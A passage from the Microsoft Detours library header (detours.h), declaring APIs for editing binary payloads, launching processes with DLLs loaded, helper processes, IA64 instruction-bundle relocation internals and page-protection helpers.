PVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary, 562 | _In_ REFGUID rguid, 563 | _Out_ DWORD *pcbData); 564 | 565 | PVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary, 566 | _In_ REFGUID rguid, 567 | _In_reads_opt_(cbData) PVOID pData, 568 | _In_ DWORD cbData); 569 | BOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid); 570 | BOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary); 571 | BOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary); 572 | BOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary, 573 | _In_opt_ PVOID pContext, 574 | _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway, 575 | _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile, 576 | _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol, 577 | _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit); 578 | BOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile); 579 | BOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary); 580 | 581 | /////////////////////////////////////////////////// Create Process & Load Dll. 582 | // 583 | typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEA)( 584 | _In_opt_ LPCSTR lpApplicationName, 585 | _Inout_opt_ LPSTR lpCommandLine, 586 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 587 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 588 | _In_ BOOL bInheritHandles, 589 | _In_ DWORD dwCreationFlags, 590 | _In_opt_ LPVOID lpEnvironment, 591 | _In_opt_ LPCSTR lpCurrentDirectory, 592 | _In_ LPSTARTUPINFOA lpStartupInfo, 593 | _Out_ LPPROCESS_INFORMATION lpProcessInformation); 594 | 595 | typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEW)( 596 | _In_opt_ LPCWSTR lpApplicationName, 597 | _Inout_opt_ LPWSTR lpCommandLine, 598 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 599 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 600 | _In_ BOOL bInheritHandles, 601 | _In_ DWORD dwCreationFlags, 602 | _In_opt_ LPVOID lpEnvironment, 603 | _In_opt_ LPCWSTR lpCurrentDirectory, 604 | _In_ LPSTARTUPINFOW lpStartupInfo, 605 | _Out_ LPPROCESS_INFORMATION lpProcessInformation); 606 | 607 | BOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName, 608 | _Inout_opt_ LPSTR lpCommandLine, 609 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 610 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 611 | _In_ BOOL bInheritHandles, 612 | _In_ DWORD dwCreationFlags, 613 | _In_opt_ LPVOID lpEnvironment, 614 | _In_opt_ LPCSTR lpCurrentDirectory, 615 | _In_ LPSTARTUPINFOA lpStartupInfo, 616 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 617 | _In_ LPCSTR lpDllName, 618 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA); 619 | 620 | BOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName, 621 | _Inout_opt_ LPWSTR lpCommandLine, 622 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 623 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 624 | _In_ BOOL bInheritHandles, 625 | _In_ DWORD dwCreationFlags, 626 | _In_opt_ LPVOID lpEnvironment, 627 | _In_opt_ LPCWSTR lpCurrentDirectory, 628 | _In_ LPSTARTUPINFOW lpStartupInfo, 629 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 630 | _In_ LPCSTR lpDllName, 631 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW); 632 | 633 | #ifdef UNICODE 634 | #define DetourCreateProcessWithDll DetourCreateProcessWithDllW 635 | #define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEW 636 | #else 637 | #define DetourCreateProcessWithDll DetourCreateProcessWithDllA 638 | #define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEA 639 | #endif // !UNICODE 640 | 641 | BOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName, 642 | _Inout_opt_ LPSTR lpCommandLine, 643 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 644 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 645 | _In_ BOOL bInheritHandles, 646 | _In_ DWORD dwCreationFlags, 647 | _In_opt_ LPVOID lpEnvironment, 648 | _In_opt_ LPCSTR lpCurrentDirectory, 649 | _In_ LPSTARTUPINFOA lpStartupInfo, 650 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 651 | _In_ LPCSTR lpDllName, 652 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA); 653 | 654 | BOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName, 655 | _Inout_opt_ LPWSTR lpCommandLine, 656 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 657 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 658 | _In_ BOOL bInheritHandles, 659 | _In_ DWORD dwCreationFlags, 660 | _In_opt_ LPVOID lpEnvironment, 661 | _In_opt_ LPCWSTR lpCurrentDirectory, 662 | _In_ LPSTARTUPINFOW lpStartupInfo, 663 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 664 | _In_ LPCSTR lpDllName, 665 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW); 666 | 667 | #ifdef UNICODE 668 | #define DetourCreateProcessWithDllEx DetourCreateProcessWithDllExW 669 | #else 670 | #define DetourCreateProcessWithDllEx DetourCreateProcessWithDllExA 671 | #endif // !UNICODE 672 | 673 | BOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName, 674 | _Inout_opt_ LPSTR lpCommandLine, 675 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 676 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 677 | _In_ BOOL bInheritHandles, 678 | _In_ DWORD dwCreationFlags, 679 | _In_opt_ LPVOID lpEnvironment, 680 | _In_opt_ LPCSTR lpCurrentDirectory, 681 | _In_ LPSTARTUPINFOA lpStartupInfo, 682 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 683 | _In_ DWORD nDlls, 684 | _In_reads_(nDlls) LPCSTR *rlpDlls, 685 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA); 686 | 687 | BOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName, 688 | _Inout_opt_ LPWSTR lpCommandLine, 689 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, 690 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 691 | _In_ BOOL bInheritHandles, 692 | _In_ DWORD dwCreationFlags, 693 | _In_opt_ LPVOID lpEnvironment, 694 | _In_opt_ LPCWSTR lpCurrentDirectory, 695 | _In_ LPSTARTUPINFOW lpStartupInfo, 696 | _Out_ LPPROCESS_INFORMATION lpProcessInformation, 697 | _In_ DWORD nDlls, 698 | _In_reads_(nDlls) LPCSTR *rlpDlls, 699 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW); 700 | 701 | #ifdef UNICODE 702 | #define DetourCreateProcessWithDlls DetourCreateProcessWithDllsW 703 | #else 704 | #define DetourCreateProcessWithDlls DetourCreateProcessWithDllsA 705 | #endif // !UNICODE 706 | 707 | BOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid, 708 | _In_ LPCSTR lpDllName, 709 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA); 710 | 711 | BOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid, 712 | _In_ LPCSTR lpDllName, 713 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW); 714 | 715 | #ifdef UNICODE 716 | #define DetourProcessViaHelper DetourProcessViaHelperW 717 | #else 718 | #define DetourProcessViaHelper DetourProcessViaHelperA 719 | #endif // !UNICODE 720 | 721 | BOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid, 722 | _In_ DWORD nDlls, 723 | _In_reads_(nDlls) LPCSTR *rlpDlls, 724 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA); 725 | 726 | BOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid, 727 | _In_ DWORD nDlls, 728 | _In_reads_(nDlls) LPCSTR *rlpDlls, 729 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW); 730 | 731 | #ifdef UNICODE 732 | #define DetourProcessViaHelperDlls DetourProcessViaHelperDllsW 733 | #else 734 | #define DetourProcessViaHelperDlls DetourProcessViaHelperDllsA 735 | #endif // !UNICODE 736 | 737 | BOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess, 738 | _In_reads_(nDlls) LPCSTR *rlpDlls, 739 | _In_ DWORD nDlls); 740 | 741 | BOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess, 742 | _In_ HMODULE hImage, 743 | _In_ BOOL bIs32Bit, 744 | _In_reads_(nDlls) LPCSTR *rlpDlls, 745 | _In_ DWORD nDlls); 746 | 747 | BOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess, 748 | _In_ REFGUID rguid, 749 | _In_reads_bytes_(cbData) PVOID pvData, 750 | _In_ DWORD cbData); 751 | BOOL WINAPI DetourRestoreAfterWith(VOID); 752 | BOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData, 753 | _In_ DWORD cbData); 754 | BOOL WINAPI DetourIsHelperProcess(VOID); 755 | VOID CALLBACK DetourFinishHelperProcess(_In_ HWND, 756 | _In_ HINSTANCE, 757 | _In_ LPSTR, 758 | _In_ INT); 759 | 760 | // 761 | ////////////////////////////////////////////////////////////////////////////// 762 | #ifdef __cplusplus 763 | } 764 | #endif // __cplusplus 765 | 766 | //////////////////////////////////////////////// Detours Internal Definitions. 767 | // 768 | #ifdef __cplusplus 769 | #ifdef DETOURS_INTERNAL 770 | 771 | #define NOTHROW 772 | // #define NOTHROW (nothrow) 773 | 774 | ////////////////////////////////////////////////////////////////////////////// 775 | // 776 | #if (_MSC_VER < 1299) 777 | #include 778 | typedef IMAGEHLP_MODULE IMAGEHLP_MODULE64; 779 | typedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64; 780 | typedef IMAGEHLP_SYMBOL SYMBOL_INFO; 781 | typedef PIMAGEHLP_SYMBOL PSYMBOL_INFO; 782 | 783 | static inline 784 | LONG InterlockedCompareExchange(_Inout_ LONG *ptr, _In_ LONG nval, _In_ LONG oval) 785 | { 786 | return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval); 787 | } 788 | #else 789 | #pragma warning(push) 790 | #pragma warning(disable:4091) // empty typedef 791 | #include 792 | #pragma warning(pop) 793 | #endif 794 | 795 | #ifdef IMAGEAPI // defined by DBGHELP.H 796 | typedef LPAPI_VERSION (NTAPI *PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion); 797 | 798 | typedef BOOL (NTAPI *PF_SymInitialize)(_In_ HANDLE hProcess, 799 | _In_opt_ LPCSTR UserSearchPath, 800 | _In_ BOOL fInvadeProcess); 801 | typedef DWORD (NTAPI *PF_SymSetOptions)(_In_ DWORD SymOptions); 802 | typedef DWORD (NTAPI *PF_SymGetOptions)(VOID); 803 | typedef DWORD64 (NTAPI *PF_SymLoadModule64)(_In_ HANDLE hProcess, 804 | _In_opt_ HANDLE hFile, 805 | _In_ LPSTR ImageName, 806 | _In_opt_ LPSTR ModuleName, 807 | _In_ DWORD64 BaseOfDll, 808 | _In_opt_ DWORD SizeOfDll); 809 | typedef BOOL (NTAPI *PF_SymGetModuleInfo64)(_In_ HANDLE hProcess, 810 | _In_ DWORD64 qwAddr, 811 | _Out_ PIMAGEHLP_MODULE64 ModuleInfo); 812 | typedef BOOL (NTAPI *PF_SymFromName)(_In_ HANDLE hProcess, 813 | _In_ LPSTR Name, 814 | _Out_ PSYMBOL_INFO Symbol); 815 | 816 | typedef struct _DETOUR_SYM_INFO 817 | { 818 | HANDLE hProcess; 819 | HMODULE hDbgHelp; 820 | PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx; 821 | PF_SymInitialize pfSymInitialize; 822 | PF_SymSetOptions pfSymSetOptions; 823 | PF_SymGetOptions pfSymGetOptions; 824 | PF_SymLoadModule64 pfSymLoadModule64; 825 | PF_SymGetModuleInfo64 pfSymGetModuleInfo64; 826 | PF_SymFromName pfSymFromName; 827 | } DETOUR_SYM_INFO, *PDETOUR_SYM_INFO; 828 | 829 | PDETOUR_SYM_INFO DetourLoadImageHlp(VOID); 830 | 831 | #endif // IMAGEAPI 832 | 833 | #if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS) 834 | #error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier) 835 | #endif 836 | #define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1 837 | 838 | #ifndef DETOUR_TRACE 839 | #if DETOUR_DEBUG 840 | #define DETOUR_TRACE(x) printf x 841 | #define DETOUR_BREAK() __debugbreak() 842 | #include 843 | #include 844 | #else 845 | #define DETOUR_TRACE(x) 846 | #define DETOUR_BREAK() 847 | #endif 848 | #endif 849 | 850 | #if 1 || defined(DETOURS_IA64) 851 | 852 | // 853 | // IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle. 854 | // 855 | 856 | #define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3) 857 | 858 | #define DETOUR_IA64_TEMPLATE_OFFSET (0) 859 | #define DETOUR_IA64_TEMPLATE_SIZE (5) 860 | 861 | #define DETOUR_IA64_INSTRUCTION_SIZE (41) 862 | #define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE) 863 | #define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE) 864 | #define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE) 865 | 866 | C_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128); 867 | 868 | __declspec(align(16)) struct DETOUR_IA64_BUNDLE 869 | { 870 | public: 871 | union 872 | { 873 | BYTE data[16]; 874 | UINT64 wide[2]; 875 | }; 876 | 877 | enum { 878 | A_UNIT = 1u, 879 | I_UNIT = 2u, 880 | M_UNIT = 3u, 881 | B_UNIT = 4u, 882 | F_UNIT = 5u, 883 | L_UNIT = 6u, 884 | X_UNIT = 7u, 885 | }; 886 | struct DETOUR_IA64_METADATA 887 | { 888 | ULONG nTemplate : 8; // Instruction template. 889 | ULONG nUnit0 : 4; // Unit for slot 0 890 | ULONG nUnit1 : 4; // Unit for slot 1 891 | ULONG nUnit2 : 4; // Unit for slot 2 892 | }; 893 | 894 | protected: 895 | static const DETOUR_IA64_METADATA s_rceCopyTable[33]; 896 | 897 | UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const; 898 | 899 | bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst, 900 | _In_ BYTE slot, 901 | _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const; 902 | 903 | // 120 112 104 96 88 80 72 64 56 48 40 32 24 16 8 0 904 | // f. e. d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0. 905 | 906 | // 00 907 | // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0. 908 | // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0] 909 | // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41.. 5] 910 | // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42] 911 | // 0000 0000 0007 ffff ffff c000 0000 0000 : One [ 82.. 46] 912 | // 0000 0000 0078 0000 0000 0000 0000 0000 : One [ 86.. 83] 913 | // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two [123.. 87] 914 | // f000 0000 0000 0000 0000 0000 0000 0000 : Two [127..124] 915 | BYTE GetTemplate() const; 916 | // Get 4 bit opcodes. 917 | BYTE GetInst0() const; 918 | BYTE GetInst1() const; 919 | BYTE GetInst2() const; 920 | BYTE GetUnit(BYTE slot) const; 921 | BYTE GetUnit0() const; 922 | BYTE GetUnit1() const; 923 | BYTE GetUnit2() const; 924 | // Get 37 bit data. 925 | UINT64 GetData0() const; 926 | UINT64 GetData1() const; 927 | UINT64 GetData2() const; 928 | 929 | // Get/set the full 41 bit instructions. 930 | UINT64 GetInstruction(BYTE slot) const; 931 | UINT64 GetInstruction0() const; 932 | UINT64 GetInstruction1() const; 933 | UINT64 GetInstruction2() const; 934 | void SetInstruction(BYTE slot, UINT64 instruction); 935 | void SetInstruction0(UINT64 instruction); 936 | void SetInstruction1(UINT64 instruction); 937 | void SetInstruction2(UINT64 instruction); 938 | 939 | // Get/set bitfields. 940 | static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count); 941 | static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field); 942 | 943 | // Get specific read-only fields. 944 | static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode 945 | static UINT64 GetX(UINT64 instruction); // 1bit opcode extension 946 | static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension 947 | static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension 948 | 949 | // Get/set specific fields. 950 | static UINT64 GetImm7a(UINT64 instruction); 951 | static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a); 952 | static UINT64 GetImm13c(UINT64 instruction); 953 | static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c); 954 | static UINT64 GetSignBit(UINT64 instruction); 955 | static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit); 956 | static UINT64 GetImm20a(UINT64 instruction); 957 | static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a); 958 | static UINT64 GetImm20b(UINT64 instruction); 959 | static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b); 960 | 961 | static UINT64 SignExtend(UINT64 Value, UINT64 Offset); 962 | 963 | BOOL IsMovlGp() const; 964 | 965 | VOID SetInst(BYTE Slot, BYTE nInst); 966 | VOID SetInst0(BYTE nInst); 967 | VOID SetInst1(BYTE nInst); 968 | VOID SetInst2(BYTE nInst); 969 | VOID SetData(BYTE Slot, UINT64 nData); 970 | VOID SetData0(UINT64 nData); 971 | VOID SetData1(UINT64 nData); 972 | VOID SetData2(UINT64 nData); 973 | BOOL SetNop(BYTE Slot); 974 | BOOL SetNop0(); 975 | BOOL SetNop1(); 976 | BOOL SetNop2(); 977 | 978 | public: 979 | BOOL IsBrl() const; 980 | VOID SetBrl(); 981 | VOID SetBrl(UINT64 target); 982 | UINT64 GetBrlTarget() const; 983 | VOID SetBrlTarget(UINT64 target); 984 | VOID SetBrlImm(UINT64 imm); 985 | UINT64 GetBrlImm() const; 986 | 987 | UINT64 GetMovlGp() const; 988 | VOID SetMovlGp(UINT64 gp); 989 | 990 | VOID SetStop(); 991 | 992 | UINT Copy(_Out_ DETOUR_IA64_BUNDLE *pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const; 993 | }; 994 | #endif // DETOURS_IA64 995 | 996 | #ifdef DETOURS_ARM 997 | 998 | #define DETOURS_PFUNC_TO_PBYTE(p) ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1)) 999 | #define DETOURS_PBYTE_TO_PFUNC(p) ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1)) 1000 | 1001 | #endif // DETOURS_ARM 1002 | 1003 | ////////////////////////////////////////////////////////////////////////////// 1004 | 1005 | #ifdef __cplusplus 1006 | extern "C" { 1007 | #endif // __cplusplus 1008 | 1009 | #define DETOUR_OFFLINE_LIBRARY(x) \ 1010 | PVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst, \ 1011 | _Inout_opt_ PVOID *ppDstPool, \ 1012 | _In_ PVOID pSrc, \ 1013 | _Out_opt_ PVOID *ppTarget, \ 1014 | _Out_opt_ LONG *plExtra); \ 1015 | \ 1016 | BOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule, \ 1017 | _In_ BOOL fLimitReferencesToModule); \ 1018 | 1019 | DETOUR_OFFLINE_LIBRARY(X86) 1020 | DETOUR_OFFLINE_LIBRARY(X64) 1021 | DETOUR_OFFLINE_LIBRARY(ARM) 1022 | DETOUR_OFFLINE_LIBRARY(ARM64) 1023 | DETOUR_OFFLINE_LIBRARY(IA64) 1024 | 1025 | #undef DETOUR_OFFLINE_LIBRARY 1026 | 1027 | ////////////////////////////////////////////////////////////////////////////// 1028 | // 1029 | // Helpers for manipulating page protection. 1030 | // 1031 | 1032 | _Success_(return != FALSE) 1033 | BOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_ HANDLE hProcess, 1034 | _In_ PVOID pAddress, 1035 | _In_ SIZE_T nSize, 1036 | _In_ DWORD dwNewProtect, 1037 | _Out_ PDWORD pdwOldProtect); 1038 | 1039 | _Success_(return != FALSE) 1040 | BOOL WINAPI DetourVirtualProtectSameExecute(_In_ PVOID pAddress, 1041 | _In_ SIZE_T nSize, 1042 | _In_ DWORD dwNewProtect, 1043 | _Out_ PDWORD pdwOldProtect); 1044 | #ifdef __cplusplus 1045 | } 1046 | #endif // __cplusplus 1047 | 1048 | ////////////////////////////////////////////////////////////////////////////// 1049 | 1050 | #define MM_ALLOCATION_GRANULARITY 0x10000 1051 | 1052 | ////////////////////////////////////////////////////////////////////////////// 1053 | 1054 | #endif // DETOURS_INTERNAL 1055 | #endif // __cplusplus 1056 | 1057 | #endif // _DETOURS_H_ 1058 | // 1059 | //////////////////////////////////////////////////////////////// End of File. 1060 | --------------------------------------------------------------------------------